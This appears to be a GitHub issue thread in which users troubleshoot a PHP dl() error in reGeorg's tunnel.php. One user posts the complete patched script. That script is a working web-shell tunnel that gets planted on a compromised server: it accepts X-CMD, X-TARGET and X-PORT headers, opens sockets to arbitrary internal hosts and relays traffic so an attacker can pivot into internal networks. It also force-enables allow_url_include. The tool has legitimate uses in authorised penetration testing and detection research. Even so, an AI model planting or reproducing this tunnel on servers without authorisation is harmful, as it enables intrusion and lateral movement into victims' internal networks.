dl function fails in tunnel.php on line30

[3xp10it]

5.3.0 dl() is now disabled in some SAPIs due to stability issues.
The only SAPIs that allow dl() are CLI and Embed. Use the Extension Loading Directives instead.

[hiw0rld]

Same error

[rabidang3ls]

Same issue... 3 months later. I just commented out the dl("php_sockets.dll"); line. Seeing as I'm using it primarily on linux hosts, and php_sockets.dll doesn't exist, shouldn't be needing this line anyways. If I'm shooting myself in the foot, let me know.

[ghost]

@rabidang3ls could you tell me which version of php tunnel.php works? In my host the script stuck on main loop, in connect command and don't retrieve data from others commands.

[rabidang3ls]

@etmatrix I haven't played with this for quite a while. The code I used was from Feb 5th, 2018, and seeing as there hasn't been a commit since then, the code is the same. That doesn't mean some of the dependencies or other things couldn't have changed. This is the file after I commented the line. Hope it helps.

<?php
/*                   _____
   ____   ______  __|___  |__  ______  _____  _____   ______
 |     | |   ___||   ___|    ||   ___|/     \|     | |   ___|
 |     \ |   ___||   |  |    ||   ___||     ||     \ |   |  |
 |__|\__\|______||______|  __||______|\_____/|__|\__\|______|
                    |_____|
                    ... every office needs a tool like Georg

  [email protected] / @_w_m__
  [email protected] / @trowalts
  [email protected] / @kamp_staaldraad

Legal Disclaimer
Usage of reGeorg for attacking networks without consent
can be considered as illegal activity. The authors of
reGeorg assume no liability or responsibility for any
misuse or damage caused by this program.

If you find reGeorge on one of your servers you should
consider the server compromised and likely further compromise
to exist within your internal network.

For more information, see:
https://github.com/sensepost/reGeorg
*/

ini_set("allow_url_fopen", true);
ini_set("allow_url_include", true);
#dl("php_sockets.dll");

if( !function_exists('apache_request_headers') ) {
    function apache_request_headers() {
        $arh = array();
        $rx_http = '/\AHTTP_/';

        foreach($_SERVER as $key => $val) {
            if( preg_match($rx_http, $key) ) {
                $arh_key = preg_replace($rx_http, '', $key);
                $rx_matches = array();
                $rx_matches = explode('_', $arh_key);
                if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) {
                    foreach($rx_matches as $ak_key => $ak_val) {
                        $rx_matches[$ak_key] = ucfirst($ak_val);
                    }

                    $arh_key = implode('-', $rx_matches);
                }
                $arh[$arh_key] = $val;
            }
        }
        return( $arh );
    }
}
if ($_SERVER['REQUEST_METHOD'] === 'GET')
{
    exit("Georg says, 'All seems fine'");
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
	set_time_limit(0);
	$headers=apache_request_headers();
	$cmd = $headers["X-CMD"];
    switch($cmd){
		case "CONNECT":
			{
				$target = $headers["X-TARGET"];
				$port = (int)$headers["X-PORT"];
				$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
				if ($sock === false)
				{
					header('X-STATUS: FAIL');
					header('X-ERROR: Failed creating socket');
					return;
				}
				$res = @socket_connect($sock, $target, $port);
                if ($res === false)
				{
					header('X-STATUS: FAIL');
					header('X-ERROR: Failed connecting to target');
					return;
				}
				socket_set_nonblock($sock);
				@session_start();
				$_SESSION["run"] = true;
                $_SESSION["writebuf"] = "";
                $_SESSION["readbuf"] = "";
                ob_end_clean();
                header('X-STATUS: OK');
                header("Connection: close");
                ignore_user_abort();
                ob_start();
                $size = ob_get_length();
                header("Content-Length: $size");
                ob_end_flush();
                flush();
				session_write_close();

				while ($_SESSION["run"])
				{
					$readBuff = "";
					@session_start();
					$writeBuff = $_SESSION["writebuf"];
					$_SESSION["writebuf"] = "";
					session_write_close();
                    if ($writeBuff != "")
					{
						$i = socket_write($sock, $writeBuff, strlen($writeBuff));
						if($i === false)
						{
							@session_start();
                            $_SESSION["run"] = false;
                            session_write_close();
                            header('X-STATUS: FAIL');
							header('X-ERROR: Failed writing socket');
						}
					}
					while ($o = socket_read($sock, 512)) {
					if($o === false)
						{
                            @session_start();
                            $_SESSION["run"] = false;
                            session_write_close();
							header('X-STATUS: FAIL');
							header('X-ERROR: Failed reading from socket');
						}
						$readBuff .= $o;
					}
                    if ($readBuff!=""){
                        @session_start();
                        $_SESSION["readbuf"] .= $readBuff;
                        session_write_close();
                    }
                    #sleep(0.2);
				}
                socket_close($sock);
			}
			break;
		case "DISCONNECT":
			{
                error_log("DISCONNECT recieved");
				@session_start();
				$_SESSION["run"] = false;
				session_write_close();
				return;
			}
			break;
		case "READ":
			{
				@session_start();
				$readBuffer = $_SESSION["readbuf"];
                $_SESSION["readbuf"]="";
                $running = $_SESSION["run"];
				session_write_close();
                if ($running) {
					header('X-STATUS: OK');
                    header("Connection: Keep-Alive");
					echo $readBuffer;
					return;
				} else {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: RemoteSocket read filed');
					return;
				}
			}
			break;
		case "FORWARD":
			{
                @session_start();
                $running = $_SESSION["run"];
				session_write_close();
                if(!$running){
                    header('X-STATUS: FAIL');
					header('X-ERROR: No more running, close now');
                    return;
                }
                header('Content-Type: application/octet-stream');
				$rawPostData = file_get_contents("php://input");
				if ($rawPostData) {
					@session_start();
					$_SESSION["writebuf"] .= $rawPostData;
					session_write_close();
					header('X-STATUS: OK');
                    header("Connection: Keep-Alive");
					return;
				} else {
					header('X-STATUS: FAIL');
					header('X-ERROR: POST request read filed');
				}
			}
			break;
	}
}
?>